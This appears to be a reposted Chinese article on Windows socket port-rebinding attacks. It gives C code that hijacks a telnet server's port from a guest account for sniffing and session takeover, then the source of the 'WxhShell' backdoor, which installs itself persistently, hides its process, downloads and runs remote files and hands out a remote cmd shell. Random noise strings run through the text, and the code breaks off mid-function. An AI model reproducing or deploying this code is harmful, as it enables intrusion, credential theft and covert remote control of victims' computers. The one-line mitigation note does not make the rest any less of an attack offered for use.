在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Vy 7 )_D s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
}6"l`$=Ev FBeo@ saddr.sin_family = AF_INET;
N nq r{ub _%KRZx} saddr.sin_addr.s_addr = htonl(INADDR_ANY);
rEwd76? ZxAk bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
_[h!r;DsG uaqV)H 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
w* \JA+ 2sYz$ZGC"# 这意味着什么?意味着可以进行如下的攻击:
:u`gjj$:s KM9H<;A 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
WDJ rN /BwG\GhM 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
1h3`y 0-:dzf 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
%^l&:\ hy R>hL.+l. 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
k>F>y|m \3T[Cy|5| 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
d>O/Zal 89UR w9 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
{~`{bnx^]7 >02p,W6S> 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
yp]z@SYA@ J"K(nKXO_? #include
U>0bgL #include
y*!8[wASHq #include
l
p|`n #include
_wUg+Xs] DWORD WINAPI ClientThread(LPVOID lpParam);
5a|{ytP int main()
=klfCFwP {
f h:wmc' WORD wVersionRequested;
nh? JiH
{ DWORD ret;
K=>j+a5$ WSADATA wsaData;
kGu{[Rh BOOL val;
C8%MKNPd SOCKADDR_IN saddr;
,V[|c$ SOCKADDR_IN scaddr;
5DJ!:QY! int err;
hcoZ5!LvT SOCKET s;
?Kg_bvoR SOCKET sc;
SN]Na<P int caddsize;
LtGjHB\+ HANDLE mt;
O-!Q~;3][ DWORD tid;
W9;9\k wVersionRequested = MAKEWORD( 2, 2 );
X/h|;C*9 err = WSAStartup( wVersionRequested, &wsaData );
MS\?+8|SV( if ( err != 0 ) {
kAs=5_?I printf("error!WSAStartup failed!\n");
"gt1pf~y return -1;
_6 @GT }
0xH&^Ia1B saddr.sin_family = AF_INET;
<Qt9MO`a \46*4?pP //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
cNMDI HMhdK saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
,z#S=I saddr.sin_port = htons(23);
OVGB7CB]S if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
.:O($9^Ho {
:r7!HG_ printf("error!socket failed!\n");
SPm2I(at7 return -1;
<j1r6.E) }
"JE->iD val = TRUE;
%~[@5<p //SO_REUSEADDR选项就是可以实现端口重绑定的
'n}] if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Zr(eH2}0D {
eQ*zi9na printf("error!setsockopt failed!\n");
gHFQs](G. return -1;
3R%yKa# }
i:Gyi([C //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
n<1*cL:8B //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Rh%@N.Z* //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
4I#@xm8) qMw_`dC if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
In8{7&iVO {
9CAu0N5< ret=GetLastError();
7rG+)kHG printf("error!bind failed!\n");
Jp=
)L return -1;
-@@
O<M^ }
53>(2 _/[r listen(s,2);
<d O~; while(1)
LI<Emez {
G8' caddsize = sizeof(scaddr);
WWC&-Ni //接受连接请求
!w%p Gv.wg sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
x~F YG
if(sc!=INVALID_SOCKET)
7a=ul: {
6 X'#F,M mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
">MsV/ if(mt==NULL)
G cB<i {
!?lvmq printf("Thread Creat Failed!\n");
J:OP*/@=' break;
)G-u;1rd }
Sjo-Xf} }
lMcO2006L CloseHandle(mt);
lbPn< }
"&o"6ra} closesocket(s);
|T]&8Q)S WSACleanup();
y`z4S, return 0;
,L4zhhl!_ }
Yhjv[ 9 DWORD WINAPI ClientThread(LPVOID lpParam)
(?ULp{VPFl {
wd3OuDrU SOCKET ss = (SOCKET)lpParam;
FjMKb SOCKET sc;
ev4_}! unsigned char buf[4096];
]wfY<Z SOCKADDR_IN saddr;
9_8\xLk long num;
85$ WH DWORD val;
ZXXJ!9-&+J DWORD ret;
]Inu'p\ //如果是隐藏端口应用的话,可以在此处加一些判断
ryqu2>(
//如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
qJ2Z5 saddr.sin_family = AF_INET;
X_!km-{ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
M+%qVwp saddr.sin_port = htons(23);
x U"g~hT if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
#m;o)KkH$r {
XN{WxcZ printf("error!socket failed!\n");
u6%\ZK._
\ return -1;
ym_as8A*Q }
7 U-}Y val = 100;
@pH6FXVGzt if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]z#)XW3#i {
=)Fb&h]G^ ret = GetLastError();
)l/
.<`| return -1;
F_I!qcEQ }
*.KVrS<B1 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
eI-SWwmv/u {
#f%fY%5q ret = GetLastError();
mwsdl^c return -1;
3,2$Ny3N }
~gHn>]S0 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
P 00%EB {
G/#m.=t printf("error!socket connect failed!\n");
Vbe@S?u- closesocket(sc);
dp&G([ closesocket(ss);
[lVfhXc& return -1;
TY5R=jh= }
*e<}hmDr while(1)
Uq`6VpZ {
_+Sf+ta //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
o^Lq8u;i* //如果是嗅探内容的话,可以再此处进行内容分析和记录
E" >` //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
oE6`]^^ num = recv(ss,buf,4096,0);
7WY~v2SDF if(num>0)
1Kr$JIcd send(sc,buf,num,0);
z30 mk else if(num==0)
EUVD)+it break;
:U/]*0b num = recv(sc,buf,4096,0);
?k($Tc&Q if(num>0)
=F}qT|K send(ss,buf,num,0);
sI h5cT else if(num==0)
Ul6|LTY break;
[zXC\)&! }
Gt
_tL% closesocket(ss);
q'4P/2)va closesocket(sc);
fD3'Ye<R return 0 ;
^,FG9 }
hc3tzB <&2<>*/.y "6U@e0ht ==========================================================
<QC7HR H_Va$}8z 下边附上一个代码,,WXhSHELL
&:u3-:$:9 #I*{_|}= ==========================================================
9Kgyt *SIYZE' #include "stdafx.h"
Vh2uzG >B=s+}/ME #include <stdio.h>
7l[@c|e #include <string.h>
i$`o,m# #include <windows.h>
12?!Z #include <winsock2.h>
wa{!%qu5.R #include <winsvc.h>
+a%D+ #include <urlmon.h>
{MyI3mvA 5k9
vYW5k #pragma comment (lib, "Ws2_32.lib")
%NJ0Y(:9( #pragma comment (lib, "urlmon.lib")
G-|c%g!ejf GAZRQ #define MAX_USER 100 // 最大客户端连接数
4;3Vc% #define BUF_SOCK 200 // sock buffer
GB<.kOGQ[ #define KEY_BUFF 255 // 输入 buffer
{ Ie~MW Di27=_J #define REBOOT 0 // 重启
)UpVGT) #define SHUTDOWN 1 // 关机
ryw%0H18 !#WQ8s!?o #define DEF_PORT 5000 // 监听端口
JM?__b7g2 aG#d41O #define REG_LEN 16 // 注册表键长度
VzIZT{ #define SVC_LEN 80 // NT服务名长度
HY1K(T 8x LXXB // 从dll定义API
x}Lj|U$r<X typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
<
W`gfpzO typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
pL}
F{G. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
g|->W]q@; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
J~4mp\4b rx 74v! // wxhshell配置信息
'DNxc struct WSCFG {
kB=B?V~# int ws_port; // 监听端口
>)='.aR< char ws_passstr[REG_LEN]; // 口令
<8Tp]1z int ws_autoins; // 安装标记, 1=yes 0=no
(aC=,5N char ws_regname[REG_LEN]; // 注册表键名
j|`lOH8 char ws_svcname[REG_LEN]; // 服务名
7SH3k=x char ws_svcdisp[SVC_LEN]; // 服务显示名
&-p~UZy char ws_svcdesc[SVC_LEN]; // 服务描述信息
nTGZ2C)c<' char ws_passmsg[SVC_LEN]; // 密码输入提示信息
DpeJx int ws_downexe; // 下载执行标记, 1=yes 0=no
rXT? w]4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
y N9~/g char ws_filenam[SVC_LEN]; // 下载后保存的文件名
MRK=\qjD
upk+L^ };
FN<>L0 /W-ges // default Wxhshell configuration
S[yrGX8lu struct WSCFG wscfg={DEF_PORT,
VpAwvMw "xuhuanlingzhe",
@ext6cFe3< 1,
r&B0-7r "Wxhshell",
6}Tftw$0z "Wxhshell",
S)wP];]`K "WxhShell Service",
A+foc5B "Wrsky Windows CmdShell Service",
+boL?Ix+ "Please Input Your Password: ",
nxBP@Td 1,
cYe2a" "
http://www.wrsky.com/wxhshell.exe",
u-s*k*VHoc "Wxhshell.exe"
'J-a2oiM( };
m;hp1VO) "S6";G^I // 消息定义模块
V|B4lGS& char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
64mD%URT char *msg_ws_prompt="\n\r? for help\n\r#>";
MBw;+'93qf char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
B8"c+<b char *msg_ws_ext="\n\rExit.";
@#hvQ6u char *msg_ws_end="\n\rQuit.";
=M4:nt char *msg_ws_boot="\n\rReboot...";
iR./9}Ze char *msg_ws_poff="\n\rShutdown...";
9W]OtS G char *msg_ws_down="\n\rSave to ";
1n}#54 8>
$=p4bf char *msg_ws_err="\n\rErr!";
(n:A`] char *msg_ws_ok="\n\rOK!";
XNfl lF.kAEC char ExeFile[MAX_PATH];
V!Sm,S( int nUser = 0;
3{t[>O; HANDLE handles[MAX_USER];
^'M^0'_"v int OsIsNt;
,dK)I1"C @RszPH1B SERVICE_STATUS serviceStatus;
H25Qx;(dTk SERVICE_STATUS_HANDLE hServiceStatusHandle;
pjTJZhT2 I gp{C89gP // 函数声明
SiaW; ks int Install(void);
/5"T46jD int Uninstall(void);
d0ht*b int DownloadFile(char *sURL, SOCKET wsh);
!X$19" int Boot(int flag);
Xx[,n-rA void HideProc(void);
}2e s" int GetOsVer(void);
cuumQQ int Wxhshell(SOCKET wsl);
rO.[/#p\ void TalkWithClient(void *cs);
f(blqO.@l int CmdShell(SOCKET sock);
u^|cG{i5" int StartFromService(void);
4vN:Kj int StartWxhshell(LPSTR lpCmdLine);
4ytdcb bEmN
tp^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
bHx@ VOID WINAPI NTServiceHandler( DWORD fdwControl );
tJ6Q7
J;n ~8mz.ZdY // 数据结构和表定义
EK[J!~ SERVICE_TABLE_ENTRY DispatchTable[] =
`[#id@Z1 {
]1>R8 {wscfg.ws_svcname, NTServiceMain},
TIl 'Z7 {NULL, NULL}
4@Db $PHs };
U*\K<fw l4r>#n\yj // 自我安装
];6955I! int Install(void)
Ai[@2A yU {
K$qY^oyQFw char svExeFile[MAX_PATH];
3(t,x HKEY key;
z#PaQp5F strcpy(svExeFile,ExeFile);
ru 9@|FgAE (>ze{T| // 如果是win9x系统,修改注册表设为自启动
F<6(Hw#> if(!OsIsNt) {
}v|_]
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+_pfBJ_$% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Fp@> (M#3 RegCloseKey(key);
F7*)u-4Yn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^Mq@} 0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[pmIQ228 RegCloseKey(key);
~+t@7A= return 0;
u*I'c2m }
Q8h0.(#- }
R-NM ~gp }
&k_*Y-l7] else {
umq6X8K T*0;3&sA // 如果是NT以上系统,安装为系统服务
Keo<#Cc? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
hF@%k
;I if (schSCManager!=0)
zng.(]U/?H {
ovM;6o SC_HANDLE schService = CreateService
/J_],KdU (
zT6nC5E schSCManager,
C,eP!_O wscfg.ws_svcname,
Nr$78] o9 wscfg.ws_svcdisp,
R_+:nCB@, SERVICE_ALL_ACCESS,
;UpJ_y)n8\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Z#Nw[>NN* SERVICE_AUTO_START,
WrDFbcH SERVICE_ERROR_NORMAL,
%!nN<% svExeFile,
d|Wqx7t]P NULL,
zz(|V NULL,
RnRUJNlaG NULL,
ak|
VnNa] NULL,
XLaD#J NULL
~BuBma_ );
2AhfQ%Y= if (schService!=0)
$6*Yh-"g {
wn.6l
` CloseServiceHandle(schService);
u*=^>LD CloseServiceHandle(schSCManager);
eCN: strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
5m0lk|` strcat(svExeFile,wscfg.ws_svcname);
w*/@|r39 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
aAGV\o{^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
e<9 ^h)G RegCloseKey(key);
I2i' return 0;
7* Y*_cH5 }
5rck]L' }
|36%B7H CloseServiceHandle(schSCManager);
d;gs1]E50 }
gU|:Y&lFZg }
xcmg3:s \rxjvV4fcZ return 1;
z{w %pUn} }
G]k[A=dg @SxZ>|r-|v // 自我卸载
:* ]#n int Uninstall(void)
=gJ{75tV3 {
nyR<pnuC' HKEY key;
62'9lriQ 4Ps;Cor+ if(!OsIsNt) {
zw+wq+2" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Hqs-q4G$ RegDeleteValue(key,wscfg.ws_regname);
gAztdAsLM RegCloseKey(key);
N_B^k8j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
q|]CA RegDeleteValue(key,wscfg.ws_regname);
_wb]tE ~g RegCloseKey(key);
l#^?sbG return 0;
%regt{ }
F4T!&E%6 }
N]/cBGy }
Km=
Y^x0 else {
)b]wpEFl =,N"% } SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Ekq( if (schSCManager!=0)
"k @[7
7 {
qQDe'f~ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
965 x_
% if (schService!=0)
>Q@y8*E\F {
Os>&:{D 4! if(DeleteService(schService)!=0) {
(Ytr&gh;0 CloseServiceHandle(schService);
Et}%)M CloseServiceHandle(schSCManager);
d{NMG)`x\ return 0;
S
WTZ6(!oW }
%SIll CloseServiceHandle(schService);
?K2EK'-q }
t~K[`=G\ex CloseServiceHandle(schSCManager);
5ta;C G }
0F- +)S?M[ }
PZJn/A1 T}Wbt=\M return 1;
u
e }
dg#Pb@7a C|Gk} // 从指定url下载文件
VV$#<D<) int DownloadFile(char *sURL, SOCKET wsh)
j?o6>j {
:'<;]~f HRESULT hr;
/P9fcNP{y char seps[]= "/";
B;8Zl m9 char *token;
O-p`9(_m char *file;
DN=W2MEfc char myURL[MAX_PATH];
=kwz3Wv char myFILE[MAX_PATH];
l(Hz9 H"w;~;h strcpy(myURL,sURL);
;Qt/(/ token=strtok(myURL,seps);
](s5;ta while(token!=NULL)
.K4)#oC {
T`]%$$1s file=token;
sDg1nKw( token=strtok(NULL,seps);
3p HI+a }
?nL,Otz L58H)V3Pn GetCurrentDirectory(MAX_PATH,myFILE);
2Uf/' strcat(myFILE, "\\");
0%&}w UjV strcat(myFILE, file);
9@"pR;X@ send(wsh,myFILE,strlen(myFILE),0);
;Q vQ fV4 send(wsh,"...",3,0);
q#8\BOTP | hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
d42Y` Wu if(hr==S_OK)
\/ri|fm6l# return 0;
DS%]7,g] else
x5\D u63 return 1;
a;;
Es 9\Ff z& }
V73/q
&gT@oS{ // 系统电源模块
{Z <`@\K3 int Boot(int flag)
D[]0/+, {
ipGxi[Vav HANDLE hToken;
(?(gz#- TOKEN_PRIVILEGES tkp;
g^|R;s{ v8C( $<3% if(OsIsNt) {
/=za
m3kd OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
G~&8/ s LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
58HAl_8W tkp.PrivilegeCount = 1;
=IX-n$d`> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
$i<+O,@- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Q{=r9&& if(flag==REBOOT) {
havmhS)O if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
G{X7;j e return 0;
C]JK'K<7- }
Zz:%KUl3 else {
L;?h)8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
E+<GsN] return 0;
_XY(Qd }
cQd?,B3#F }
0'A"]6 else {
|[#Qk 4Ttf if(flag==REBOOT) {
%o\+R0K if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
~-H3] return 0;
?771e:>S- }
b=sY%(2s else {
r~QE}00@^ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
s 8K.A~5 w return 0;
ps` j>vX* }
se>\5k }
pd,d"+ /TB{|_HbW return 1;
^A\(M%*F }
M(\{U"%@? |XQ_4{ // win9x进程隐藏模块
s}UJv\* void HideProc(void)
LTA0WgzR) {
,vMAX?c gWj r|m< HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
lJfk4 -;M if ( hKernel != NULL )
:}#)ipr {
4DL2
A;T pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
/|&4&$ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
N5K2Hv<" FreeLibrary(hKernel);
K3=0D!D q }
BL>~~ d+]= l+& return;
QH7 GEj] }
"G*$# S"^'ksL\ // 获取操作系统版本
jd5kkX8= int GetOsVer(void)
sieC7raO {
E&t8nlTx OSVERSIONINFO winfo;
Fx1FxwIJ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
d5{=<j GetVersionEx(&winfo);
hRB?NM if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
T?Z&\g0yp return 1;
g__s(
IJ else
dOaCdnd~ return 0;
sL\ {.ad5 }
5"1wz _e8v12s // 客户端句柄模块
Hc|cA(9sh9 int Wxhshell(SOCKET wsl)
)OQ<H.X {
"+&pd!\ SOCKET wsh;
up8d3 struct sockaddr_in client;
>e.KD)qA DWORD myID;
X6t9*|C e_!Z-#\J% while(nUser<MAX_USER)
:p)^+AF"5 {
M5:*aCN6P int nSize=sizeof(client);
jVoD9H
F/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
iY,oaC~?"N if(wsh==INVALID_SOCKET) return 1;
qZV|}M>P) V)5,E>;EN handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
SEi\H$! if(handles[nUser]==0)
?< yYm;B closesocket(wsh);
|)&d9|] else
5{DwD{Q nUser++;
-U_,RMw~ }
~g#/q~UE WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
suWO:]FR fY78 return 0;
HSU?4=Q }
SfY9PNck\ %FqQ+0^ // 关闭 socket
a
^juZ void CloseIt(SOCKET wsh)
{(Mmv[y {
`Z{s,!z closesocket(wsh);
z_KCG2=5 nUser--;
DMp@B]> ExitThread(0);
3'A0{(b }
fJk'5kv Z1$U[Tsd // 客户端请求句柄
8D? $@!- void TalkWithClient(void *cs)
~FXq%-J {
Ml?KnSb k*,+ag*j SOCKET wsh=(SOCKET)cs;
EASmB
char pwd[SVC_LEN];
; 5[W*,7s char cmd[KEY_BUFF];
z`Nss
o= char chr[1];
$txF|Fj]^A int i,j;
=^{MyR7 DNqC*IvuzM while (nUser < MAX_USER) {
p__N6a rL+.3ZO):P if(wscfg.ws_passstr) {
SGy2&{\Z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\K%M.>]vq //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
fshG ~L7S9 //ZeroMemory(pwd,KEY_BUFF);
HKO]_; :( i=0;
y
|
I9"R while(i<SVC_LEN) {
X+,0;% p v&]yzl // 设置超时
~>0H
k}Hv fd_set FdRead;
i tk/1 struct timeval TimeOut;
?0JNaf FD_ZERO(&FdRead);
[^/a`Kda8 FD_SET(wsh,&FdRead);
2_M+o]Z^ TimeOut.tv_sec=8;
0u( 0*Xl TimeOut.tv_usec=0;
yFd942 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
QSM3qke if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
R(P(G;#j ;<b7kepR if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Sx0{]1J pwd
=chr[0]; @k'V`ZQF
if(chr[0]==0xd || chr[0]==0xa) { j]R[;8g
pwd=0; TVSCjI
break; Ux= B*m1@{
} 0mmHN`<
i++; gnxD'1_
} r[GH#vF;7
XsFzSm
// 如果是非法用户,关闭 socket WT1y7+_g(d
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T
7qHw!)
} gLZJQubz
6
N cGFPi(Z
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M:& %c3
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l2dj GZk
cF9oo%3
while(1) { (mI590`f
^mC,Z+!
ZeroMemory(cmd,KEY_BUFF); tc\ZYCFr
`cN8AcRHP
// 自动支持客户端 telnet标准 vv^y
V"0Y
j=0; aXZi 2
while(j<KEY_BUFF) { y;<}`
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '<1Cta`
cmd[j]=chr[0]; Zp<#( OIu
if(chr[0]==0xa || chr[0]==0xd) { Q0x?OL] A
cmd[j]=0; dIhfp7|
break; F`{O
} 0,.|-OZ
j++; &_hEM~{
}
+`ov1h
SK 5]7C2
// 下载文件 v?Cakwu
if(strstr(cmd,"http://")) { b+hN\/*]
send(wsh,msg_ws_down,strlen(msg_ws_down),0); @qx$b~%
if(DownloadFile(cmd,wsh)) DvOvtd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]gaeN2
else HPt\ BK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d'3"A"9R7-
} Ss\?SEq
else { zM<L_l&
fy|I3
switch(cmd[0]) { @>J(1{m=Gy
3/]FT#l]i
// 帮助 y"U)&1 c%
case '?': { BB(v,W
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DVKb`KJ"
break; `R.Pz _oe
} T,vh=UF%]
// 安装 Q|S>C%4?
case 'i': { BS?$eai@:9
if(Install()) du#f_|xG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rr[Wka9[
else <63TN`B
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s| Q1;%Tj
break; H~>8q~o]
} <X1lq9 lW
// 卸载 _p'@.P
case 'r': { $\~cWpv
if(Uninstall()) w1VYU>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "5sA&^_#_
else Y>
}\'$\b
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EIyFGCw|U
break; uZ>q$
F
} ~%f$}{
// 显示 wxhshell 所在路径 k#8`996P
case 'p': { bw7g L\*
char svExeFile[MAX_PATH]; u7Ix7`V
strcpy(svExeFile,"\n\r"); VEn3b
strcat(svExeFile,ExeFile); vX}w_Jj>
send(wsh,svExeFile,strlen(svExeFile),0); <8Nr;96IA
break; 8pftc) k
}
_VmXs&4
// 重启 bQwG"N
case 'b': { E'(nJ
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BF;}9QebmS
if(Boot(REBOOT)) /;1O9HJa
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hz==,NR-W
else { #:/27
closesocket(wsh); ,&o^}TFkg
ExitThread(0); _G'A]O/BZD
} x#zj0vI-8
break; A,=>
|&*
} 1\Pjz
Lj
// 关机 u^CL }t*
case 'd': { - _6`0
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .9,x_\|G*
if(Boot(SHUTDOWN)) "bWx<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lQvgq
else { T:H~Y+qnt
closesocket(wsh); 9&`";dg
ExitThread(0); nKnrh]hX
} a l6y=;\jZ
break; [C<K~
} M* Ej*#
// 获取shell _2{_W9k
case 's': { $|3zsi2
CmdShell(wsh); 84WcaH
closesocket(wsh); 6-)WXJ@V
ExitThread(0); TJZ~Rpq
break; ]*lZFP~
} [6_.Y*}N
// 退出 Md~._@`|K
case 'x': { YhfQpe
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4 dLnX3 v
CloseIt(wsh); q5'G]j{,Z
break; pPo(nH|<
} ?_A[E]/H
// 离开 d!Gy#<H
case 'q': { HuU$x;~
send(wsh,msg_ws_end,strlen(msg_ws_end),0); z\"
.(fIV
closesocket(wsh); tY!l}:E[
WSACleanup(); udBIEW,`
exit(1); N}ND()bf
break; S4{vS?>j
} !J X7y%J
} M"/Jn[
} jX(${j<
\)wch P_0
// 提示信息 vq+CW?*"
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o9]32l
} rBi<Yy$z
} r `n|fD.
x;E/
return; 0R[fH
} XBkaum4j
[6JDS;MIN
// shell模块句柄 7
@}`1>97
int CmdShell(SOCKET sock) q9j~|GE|
{ Dykh|"
STARTUPINFO si; f5b|,JJ
ZeroMemory(&si,sizeof(si)); I9>vm]
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &0%Zb~ts
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F --b,,
PROCESS_INFORMATION ProcessInfo; j%-Ems*H
char cmdline[]="cmd"; ~ho,bwJM[T
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C/qKa[mg
return 0; @fp@1n
} k3@d
=k
i$@xb_
// 自身启动模式 D6&P9e_5
int StartFromService(void) UIU:^g0
{ /HhA2 (g%
typedef struct +_cigxpTc
{ &|ne!wu
DWORD ExitStatus; V:J|shRo
DWORD PebBaseAddress; q0Q[]|L
DWORD AffinityMask; "RK"Pn+
DWORD BasePriority; Mog [,{w
ULONG UniqueProcessId; C,W_0=!e
